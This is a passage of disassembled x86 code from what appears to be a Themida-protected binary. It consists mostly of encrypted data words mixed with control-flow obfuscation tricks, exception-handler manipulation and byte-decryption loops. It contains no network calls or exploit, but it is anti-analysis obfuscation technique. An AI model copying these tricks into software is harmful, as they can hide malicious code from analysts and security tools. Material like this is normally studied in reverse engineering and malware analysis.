31DEDFF2h, 83D2B47Bh, 17A7EABDh, 840F0006h dd 3A1h, 4498589h, 0B5FF0614h, 617A7EAh, 1215B589h, 95FF0614h dd 6140339h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 3DC35343h, 6F605BAh, 8B22F376h, 17A7DEB5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 93DB1386h, 106ED0ECh, 3268D8BBh, 0C7F88B42h, 1000106h dd 0F781F900h, 1E4592EFh, 148D0F50h, 0E9000000h, 0Fh, 0BACFD848h dd 21162BFh, 9646F189h, 898995AEh, 5E82434h, 0C8000000h dd 67A03D31h, 0B5FF5FF9h, 617A7EAh, 1919509h, 95FF0614h dd 6141081h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C8C35242h, 0DEB58BD0h, 890617A7h, 1411959Dh, 0DF815306h dd 5A1FD881h, 0F9858B5Fh, 8906140Fh, 1402799Dh, 0C4868906h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h dd 46000000h, 6FF8C356h, 81668271h, 1F952F7h, 141BD59Dh dd 69958B06h, 0E906142Bh, 0Ah, 0C3801E03h, 0A79217B1h dd 0C283C0A4h, 89F98B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0BF7D27C3h, 3923BCFh dd 0B58935FDh, 6140E2Dh, 0BC23858Dh, 0BB660617h, 8689D919h dd 0B8h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 34C35141h, 6A26F8h, 0FFFFBF0Fh, 17A7EAB5h, 618D0106h dd 0FF06141Bh, 1433AD95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2FA7A37Ah dd 96210CF1h, 0BF50DE8Bh, 51D9B0C4h, 0F7816696h, 0B5FF2D31h dd 617A7EAh, 34899D2Bh, 95FF0614h, 6142309h, 5939BF66h dd 1189BD83h, 0F000614h, 6584h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A07EB6C2h dd 0D66EFE5Eh, 9D8B42B7h, 6141F99h, 810F96h, 50000000h dd 0ABF6660h, 6A9661B6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 3670C350h, 9B89E8Dh dd 0F018ED9Dh, 0AA5BD8Bh, 0B5FF0614h, 617A7EAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 84C35141h, 0C1043C83h dd 0E523CE08h, 6850Fh, 0BD890000h, 61424BDh, 2D595FFh dd 0AE90614h, 97000000h, 315638E7h, 0E9BCBDE3h, 0EAB5FF40h dd 6A0617A7h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 7B31C356h, 305DD2B4h, 0C59D032Bh dd 89061430h, 140449B5h, 7595FF06h, 6A06140Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0E55CC352h, 0E3D3A80Eh, 8987EFA7h, 141F45BDh, 2DBD8306h dd 2061411h, 52840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0D88A26C3h, 55858Bh dd 8F0F0614h, 6, 1E718531h, 0C60614h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 6EB3D8FBh, 1E4985C7h, 614h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B1EC3C3h dd 140D89BDh, 0F3F6E906h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 567876C3h, 0E7864B71h dd 6AC18BA1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 99F0C356h, 91D3D6DDh, 0B7861833h dd 91858D69h, 1061407h, 14192195h, 52505006h, 310FDC8Ah dd 489585Ah, 8E824h, 0E2BE0000h, 0A6293429h, 810F1CB1h dd 3, 5FFB8B66h, 9D8B006Ah, 61407E9h, 11E8h, 0AD58DF00h dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 0DF8151DAh, 2AB0162Bh dd 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9819C357h, 0AEF0A7AEh, 4D811B8Fh dd 0CF1BD8Bh, 858D0614h, 6190927h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0EBC35646h, 0CBBCD7C5h, 6A05C083h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 4BEC356h, 1AA9BD8Bh, 0E9500614h, 0Dh, 0F60D09C8h dd 0AB7C5FBEh, 88E40604h, 240489AAh, 6880Fh, 0BD8B0000h dd 6141AF5h, 0BD8B006Ah, 6140815h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C496ECC3h dd 1995FFD4h, 6A06141Bh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0F9D5C351h, 56974E75h dd 0F78110A6h, 54A1FB45h, 1E79BD8Bh, 8D8D0614h, 617A778h dd 0A699D8Bh, 0D1FF0614h, 0D6D9D0Bh, 0BD830614h, 61401CDh dd 0C4850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 4BAFC351h, 59B52934h dd 8B061413h, 142A399Dh, 0EDBD8B06h, 6A06140Ch, 56006A02h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0BC2251BBh, 0B8592C64h, 0D18D8960h, 89061410h, 1408A185h dd 50506106h, 0EB2BB52h, 310F7F94h, 5AFA8B66h, 24048958h dd 0FFD8B70Fh, 1433AD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0F04AD2DBh dd 0DE3FE4CBh, 8D0F6011h, 6, 34B18533h, 0FE90614h, 18000000h dd 0D9EECDF7h, 543E2A14h, 0FE09EB08h, 0E961A9E7h, 0E01h dd 0E8h, 0ED815D00h, 6190931h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0C8C35343h, 0AD6AFC4Fh, 0B35EAF97h dd 0C619D8Bh, 9D890614h, 6141935h, 8E49858Dh, 89510617h dd 1404CDBDh, 0E8905F06h, 8, 1A64C247h, 9BFF4184h, 0BE8h dd 20698E00h, 11A38CC1h, 487115B1h, 50505F5Fh, 0DE952h dd 0AAE30000h, 1D5429C2h, 5805BC79h, 0FE11133h, 8B0F31h dd 5A000000h, 0B70F9058h, 35FF64DEh, 0 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5CE567 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE567 proc near ; CODE XREF: Themida_:005CE55Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5CE567 endp ; --------------------------------------------------------------------------- stosb mov dl, 9 lea ecx, [ecx+3061406h] mov ebp, 614266Dh mov large fs:0, esp push 0 push ebp call sub_5CE597 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE597 proc near ; CODE XREF: Themida_:005CE58Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CE597 endp ; --------------------------------------------------------------------------- cmp [edi], ecx mov edi, 0ED85FFD9h sub eax, 6A0614h push edx call sub_5CE5BC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE5BC proc near ; CODE XREF: Themida_:005CE5B4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5CE5BC endp ; --------------------------------------------------------------------------- dd 0B1C8805Dh, 0E803276Eh, 0Eh, 0B07A129h, 0FDA1FF67h dd 50994D9Bh, 95317BE2h, 61430E1h, 0CBEB815Fh, 6A2ACD55h dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 8D200594h, 9B75AD8h, 141BA595h, 61B5FF06h dd 29061400h, 1402C585h, 8995FF06h, 0E906142Ah, 10Fh, 2029B529h dd 0B00614h, 2A46E381h, 0BD3115C8h, 6140321h, 953170E6h dd 6140779h, 9D8971E4h, 6142099h, 830F613Ch, 0E3h, 34D58D89h dd 0B60F0614h, 419D33C8h, 6006140Dh, 58616056h, 2521BD89h dd 0BA610614h, 6, 8BFB8B66h, 99D8BC1h, 0C106141Bh, 8B5004E8h dd 0F7665BF9h, 5DB589E2h, 2B06140Ah, 8D0F56C8h, 4, 220BF66h dd 66D18B5Bh, 6060F781h, 8EE9h, 0CB816600h, 858B0232h dd 47554C50h, 0E619D8Bh, 0C0830614h, 83DE8B07h, 0BF6600C0h dd 0B70F95E9h, 0FD03BF9h, 1783h, 75B58900h, 0E9061410h dd 5Bh, 6860Fh, 95310000h, 6142595h, 0FFFF8D8Bh, 8166FFFFh dd 83410CCFh, 840F01E1h, 3Bh, 2A4C9EBFh, 0FFA58317h, 0FEFFFFFFh dd 1B8DBD8Bh, 95890614h, 47554C50h, 12E8h, 66A7F400h, 1ECD27C8h dd 928AFFAAh, 0EF6BEC7Ch, 81FEF23Bh, 72F7BAC3h, 0E95F61h dd 8D000000h, 1876FFB5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 5240D8C3h, 2EB6F283h dd 19E1BD8Bh, 7E80614h, 1000000h, 0F2230DE4h, 0F1BB6C16h dd 5B0A3B85h, 8F0F006Ah, 1Bh, 12E8h, 610B3900h, 0BB8444E8h dd 4D01BD26h, 15F54F97h, 0F1DB01Dh, 0FF5BDFBFh, 14297195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 38634CD2h, 0DA876CA2h, 107AB9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 38F98E46h, 0BF6645E8h, 860F321Eh, 6, 16999D23h, 0E1830614h dd 0D8BF0FFCh, 941B7FCh, 1412719Dh, 0B806h, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0DFDAC3C3h, 800A58F6h, 0FC8A10CFh, 0BAh, 65BD8B00h dd 0AD061434h, 0E8D1C233h, 0E983D003h, 8BF47504h, 1423299Dh dd 0D8BF0F06h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 0C69C38CDh, 0C61BBE1Ah dd 2B69958Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 1EC580C3h, 0EF1F8FD2h, 2649BD89h dd 8D8B0614h, 6141055h, 51BD8B52h, 5F061410h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 2D0DF6C3h dd 5CDF8166h, 9D33529Bh, 6142001h, 52006A5Bh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 203E5E60h dd 5C529BCCh, 0D5EFBF66h, 0F4DBD83h, 0F000614h, 4884h dd 0F3816600h, 810F845Bh, 3, 0B893C380h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5CE953 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE953 proc near ; CODE XREF: Themida_:005CE94Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5CE953 endp ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- or eax, 60AB0894h pop edx lea ecx, [ebp+6144DFFh] adc di, 869Dh jmp ecx ; --------------------------------------------------------------------------- add edi, 6B8B3C3Ah cmp dword ptr [ebp+614013Dh], 0 jz loc_5CEDE1 and ebx, [ebp+6140E19h] sbb edi, 6BDFEF68h cmp dword ptr [ebp+614013Dh], 1 jz loc_5CEDFC push 0 push edi call sub_5CE9AE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE9AE proc near ; CODE XREF: Themida_:005CE9A6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_5CE9AE endp ; --------------------------------------------------------------------------- push ebp mov [ebp+5Bh], dl pushf wait cmp dword ptr [ebp+614013Dh], 3 jbe loc_5CEDC6 push 0 push ebp call sub_5CE9DC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CE9DC proc near ; CODE XREF: Themida_:005CE9D4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5CE9DC endp ; --------------------------------------------------------------------------- push esp push ecx mov [ebp+61409A9h], esi pop edi or edi, [ebp+6141AF5h] pusha push 0 push ecx call sub_5CEA07 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEA07 proc near ; CODE XREF: Themida_:005CE9FFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5CEA07 endp ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- and bx, 185h mov [ebp+6141C2Dh], esi mov cx, ds mov ebx, 6598EBDDh and cl, 4 mov edi, [ebp+61419EDh] or cl, cl jz loc_5CEB27 mov eax, [ebp+6140E35h] xor eax, [ebp+61406A9h] push 0 push edx call sub_5CEA53 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEA53 proc near ; CODE XREF: Themida_:005CEA4Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5CEA53 endp ; --------------------------------------------------------------------------- db 5Ah dd 5061E206h, 5E8h, 0FFFA6700h, 9E9E45Ah, 0C8000000h, 52A1DAA5h dd 172D3CFAh, 2404895Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F4C35646h, 57648579h, 8B006A77h, 1404359Dh dd 318D2906h, 6806140Ch, 0BE9B1429h, 457A76BFh, 2404810Bh dd 4183EFD6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 0C3C35545h, 0AD9C7597h, 0B3BB7EA9h, 0FF0D2C01h dd 14089D95h, 0DE906h, 32150000h, 0BB2B6FF2h, 2194847Fh dd 8931233Ah, 17A7EA85h, 89505206h, 142F31BDh, 0F5F5F06h dd 685h, 0DD9D8B00h, 0E9061419h, 220h ; --------------------------------------------------------------------------- mov bx, si loc_5CEB27: ; CODE XREF: Themida_:005CEA36j mov eax, [ebp+617A7E2h] push 0 push ecx call sub_5CEB38 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEB38 proc near ; CODE XREF: Themida_:005CEB30p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5CEB38 endp ; --------------------------------------------------------------------------- dd 96CEC5B0h, 6255C966h, 0C7D9B70Fh, 1800h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 6AAF83E5h, 0F035C2FEh, 0EE9h, 28853500h, 0C5C9F65Eh dd 3F75201Dh, 29B6AE79h, 1426858Dh, 0E6B58B06h, 6A0617A7h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 0A465C357h, 7C76390Eh, 4A6CB790h, 858B5FB7h dd 6140281h, 49B52960h, 106140Dh, 1418C595h, 6896106h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 6C35343h dd 10254001h, 0BF14ECB7h, 7F8F1DC7h, 0E35858Bh, 0BF660614h dd 4689AEACh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 0FD8631A3h, 5E9DAh, 90250000h, 96BB1366h dd 0AE960h, 0C0ED0000h, 85A17723h, 6B829D9Ch, 0EE9h, 8D755E00h dd 2D1545DBh, 704B3B96h, 61A01B90h, 11E85350h, 0A3000000h dd 4A4B0581h, 8A6E6AFFh, 4787CF3Bh, 0DA006866h, 4860BF66h dd 6A965B5Bh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 2239C350h, 0CD429C54h, 0D1B5898Bh dd 0FF061433h, 17A7E2B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0A107E7FCh dd 5D4B0675h, 4E8FC4Fh, 0FF000000h, 8A001F03h, 0D88B50F8h dd 424448Bh, 9E8h, 5E885800h, 4AF39ED6h, 5250B297h, 8F0Fh dd 310F0000h, 585A5F52h, 0BB008B5Fh, 3667FB59h, 4244489h dd 0FB8B6658h, 0A7EA858Dh, 0B5890617h, 61402D1h, 31BB6650h dd 240489F5h, 13E9h, 2C3B3100h, 3D253766h, 0A1672D0Ch dd 0D0210A55h, 1974F04Dh, 89D95FFh, 0BD890614h, 61400A5h dd 0BB66F961h, 85C7696Fh, 614013Dh, 3, 0CE9h, 0F7DDC000h dd 4FC513F8h, 0F9F24CB3h, 0EABD83D4h, 617A7h, 54840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 97D943C3h, 719D8B3Bh, 0E9061434h, 45h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 54C35141h, 66BC791Dh dd 253ED381h, 1F19BD0Bh ; --------------------------------------------------------------------------- adc al, 6 loc_5CEDC6: ; CODE XREF: Themida_:005CE9CBj ; Themida_:005CEDDDj push eax xor [ecx+edx], cl add [ecx+edx+1], al shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], cl pop eax sub ecx, 4 jnz short loc_5CEDC6 jmp short loc_5CEE17 ; --------------------------------------------------------------------------- loc_5CEDE1: ; CODE XREF: Themida_:005CE984j ; Themida_:005CEDF8j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_5CEDE1 jmp short loc_5CEE17 ; --------------------------------------------------------------------------- loc_5CEDFC: ; CODE XREF: Themida_:005CE99Dj ; Themida_:005CEE13j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_5CEDFC jmp short $+2 loc_5CEE17: ; CODE XREF: Themida_:005CEDDFj ; Themida_:005CEDFAj mov eax, eax push 0 push ecx call sub_5CEE24 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CEE24 proc near ; CODE XREF: Themida_:005CEE1Cp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_5CEE24 endp ; --------------------------------------------------------------------------- dd 89026165h, 14077D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 0ECF7E1BEh, 6D617654h dd 3DBD8303h, 3061401h, 429850Fh, 6E90000h, 1C000000h dd 8BEC9CFEh, 88FCBF1Bh, 0BD834633h, 617A7EAh, 0C840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 75E4C353h, 0B5FFDA4Bh, 617A7EAh dd 8420DCBBh, 0A9C38176h, 0FF42FFF3h, 14033995h, 2222BF06h dd 0B58B763Dh, 617A7DEh, 4A99D89h, 9D8B0614h, 614254Dh dd 106C7h, 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0D260B3C3h, 0AE947B51h, 0DB8166ABh dd 8950FA13h, 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0B789D0C3h, 197871Fh, 1411A1BDh dd 0EAB5FF06h, 0F0617A7h, 95FFF9BFh, 6141081h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1AC35141h, 1331BD8Bh dd 0FE90614h, 88000000h, 0C7C2D010h, 463D6729h, 0DEA1AEEAh dd 0B58BF7C3h, 617A7DEh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 5AC35141h, 5033E961h, 0B5892A7Ch, 6140C19h dd 0FF9858Bh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 9B3D5AC3h, 0D8E0Fh, 8B600000h, 1431218Dh dd 0D9816606h, 0F61BE06h, 684h, 55BD8900h, 89061407h, 0C486h dd 0E7816600h, 958B84C3h, 6142B69h, 0F6A33BBFh, 4C2832Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D5C35040h dd 0FB1CBCBh, 22CB86D7h, 10E93Eh, 25B60000h, 64595076h dd 0DC495EBh, 2D5C6603h, 50891237h, 51006A20h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 7940855Dh dd 0FA0228B9h, 10E960h, 0A3E50000h, 0E0C46238h, 55F2B08Ch dd 0C225BADDh, 8166A80Ah, 61DFE3E0h, 0BC23858Dh, 6A0617h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 962158C3h, 0EFBBBB27h, 89F7C5CBh, 0B886h, 719D8900h dd 6A06142Bh, 29858900h, 906141Dh, 14185195h, 0EAB5FF06h dd 6A0617A7h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 660FC355h, 0DCC3DB81h, 0D11BD0Bh dd 95FF0614h, 61433ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0F0C35545h, 441EDF32h, 0F534A7E2h, 0F98B6650h dd 6A243489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 586AC350h, 0FFF5BC4Eh, 17A7EAB5h dd 47D3BB06h, 95FF74CCh, 6142309h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0F3C35343h, 0A850F37h, 0F000000h dd 481h, 47BF6600h, 89BD831Bh, 61411h, 33840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 8E6A9FC3h, 6312D815h, 9689B766h, 0AF0DBF50h, 89960CE6h dd 14119D9Dh, 0EAB5FF06h, 6A0617A7h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2A8FC355h dd 0BF0F15E7h, 0D595FFDAh, 6A061402h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0BEEDC356h dd 59F5EB04h, 0B5FF6A17h, 617A7EAh, 2CDC78BBh, 0DB5016Eh dd 0FF061416h, 140B7595h, 9E906h, 6A0A0000h, 0CCEE76CBh dd 8309B0E9h, 14112DBDh, 840F0206h, 3Dh, 0BBA5BB66h, 55858Bh dd 0BD8B0614h, 6140E3Dh, 0C618CB80h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F10E4CC3h dd 0F53FEDDh, 86h, 4985C700h, 6141Eh, 0E9000000h, 0Ah dd 222462D8h, 33F04211h, 0E9F978C9h, 0FFFFF357h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E0C35646h, 9B438974h dd 8D89CD1Bh, 6142FA5h, 0B70FC18Bh, 91858DFBh, 90061407h dd 665043B3h, 90D7BFBFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 9BC35343h, 8D9D89DFh, 6A061411h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 29429DDCh, 1419998Dh, 0D3816606h, 6A7090h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C2C35040h, 0CA858DF5h dd 0F9061918h, 0AB8DBB66h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DAA0C353h dd 90FE8BDEh, 0CD106EBFh, 8C0F504Fh, 2, 6A90DE8Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 5302C356h, 11E924Ch, 0CB42BA28h, 8B50DE8Bh, 6A5FDEh dd 1C19D23h, 6A0614h, 301DBD23h, 95FF0614h, 6141B19h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 95C35646h, 0A7788D8Dh dd 0BD8B0617h, 6140771h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 831471C3h, 1401CDBDh dd 850F0106h, 4Eh, 6E9h, 46064600h, 6AB83BADh, 0A5B52902h dd 50061412h, 0A40BB66h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6607C357h dd 0D963FBA8h, 562DD4F7h, 95FF5FFCh, 61433ADh, 6226F381h dd 24E9207Fh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 61918D4h push 0 push eax call sub_5CF482 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF482 proc near ; CODE XREF: Themida_:005CF47Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5CF482 endp ; --------------------------------------------------------------------------- mov [ebx-42h], dh mov dl, 60h jnz loc_5CF4B7 call sub_5CF4B6 push 0FFFFFFBEh jmp short loc_5CF4DD ; --------------------------------------------------------------------------- dw 0C910h dd 450E386Fh, 0E6D034AAh, 0DA292001h db 1Dh, 0EFh ; =============== S U B R O U T I N E ======================================= sub_5CF4B6 proc near ; CODE XREF: Themida_:005CF49Dp pop edx loc_5CF4B7: ; CODE XREF: Themida_:005CF497j mov [ebp+6140795h], edi popa lea eax, [ebp+6178E49h] push 0 push esi call sub_5CF4CF and [esi-3Dh], bl sub_5CF4B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CF4CF proc near ; CODE XREF: sub_5CF4B6+11p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi loc_5CF4DD: ; CODE XREF: Themida_:005CF4A4j push esi retn sub_5CF4CF endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor bl, bh jmp loc_5CF4F0 ; --------------------------------------------------------------------------- add [ebp-5C9F5537h], esp test [esi-10h], esi inc edi loc_5CF4F0: ; CODE XREF: Themida_:005CF4E1j or [ebp+6140B69h], ebx push eax mov di, ax mov [esp], eax mov bl, 3Ch push large dword ptr fs:0 mov di, 3B13h mov large fs:0, esp push 0 push eax call sub_5CF51C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF51C proc near ; CODE XREF: Themida_:005CF514p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_5CF51C endp ; --------------------------------------------------------------------------- dd 0AF087828h, 0CB819019h, 2D5399A5h, 0FFDEBF0Fh, 142DED85h dd 7E806h, 2CA50000h, 506571A8h, 38F0FDEh, 80000000h, 6A5B90EFh dd 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 9B97BF44h, 0B5FF0CAEh, 6140D09h, 0B4E78166h dd 8995FF09h, 0E906142Ah, 100h, 0B0F88Ah, 0AD6CF0BBh, 970E66Bh dd 1419C9BDh, 0F71E406h, 68Fh, 870F00h, 3C000000h, 0D9830F61h dd 9000000h, 140EF5BDh, 0C8B60F06h, 9D8B43B3h, 61418D9h dd 6BAh, 11852900h, 66061401h, 167E781h, 0FC8AC18Bh, 3304E8C1h dd 1434C99Dh, 0E2F76606h, 6BCF8166h, 89C82BDEh, 1404BD8Dh dd 0D18BFC06h, 8F84C381h, 8DE93B14h, 0E9000000h, 0Dh, 955BAC05h dd 0B3C2C4B4h, 86050A51h, 49858B89h, 8944004Eh, 14076DB5h dd 75952906h, 8306140Eh, 816607C0h, 83A71AF7h, 9D8B00C0h dd 6141DC9h, 830FD03Bh, 0Dh, 0E9FA8B66h, 48h, 2F5F1DBBh dd 0FF8D8B0Ah, 8BFFFFFFh, 1E183DFh, 32840Fh, 0BF660000h dd 0A5839688h, 0FFFFFFFFh, 0B5BB66FEh, 499589EBh, 0F44004Eh dd 1284h, 0DE900h, 0C2E50000h, 2AA6C04Ah, 0A50E58h, 0E9074D71h dd 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6188779h] jo loc_5CF69D cmc loc_5CF69D: ; CODE XREF: Themida_:005CF696j push 0 push 0 push ebx call sub_5CF6AA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CF6AA proc near ; CODE XREF: Themida_:005CF6A2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5CF6AA endp ; --------------------------------------------------------------------------- and eax, 0EB816665h std inc ecx call dword ptr [ebp+6142971h] call sub_5CF6D5 lea esp, [edi+ebx*8-70h] rol byte ptr [edx-7], 1 add al, 2Ch ; 